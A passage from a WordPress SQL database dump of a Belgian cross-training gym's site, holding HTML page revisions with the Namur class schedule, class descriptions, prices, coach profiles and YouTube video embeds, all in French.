class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2013-11-04 17:21:08', '2013-11-04 17:21:08', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(365, 1, '2015-04-21 08:49:04', '2015-04-21 08:49:04', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www.crosstrainingcenter.be/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\n\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-autosave-v1', '', '', '2015-04-21 08:49:04', '2015-04-21 08:49:04', '', 11, 'http://www.crosstrainingcenter.be/11-autosave-v1/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(367, 1, '2013-11-04 17:24:23', '2013-11-04 17:24:23', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-04 17:24:23', '2013-11-04 17:24:23', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(368, 1, '2013-11-04 17:25:06', '2013-11-04 17:25:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-04 17:25:06', '2013-11-04 17:25:06', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
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(476, 1, '2015-04-21 09:06:14', '2015-04-21 09:06:14', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n\r\n&lt;/tr&gt;\r\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-revision-v1', '', '', '2015-04-21 09:06:14', '2015-04-21 09:06:14', '', 369, 'http://www.crosstrainingcenter.be/369-revision-v1/', 0, 'revision', '', 0),
(370, 1, '2013-11-04 17:25:41', '2013-11-04 17:25:41', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nOuverture du Cross Training Limelette\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/6tWEAsQ_ePQ\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; 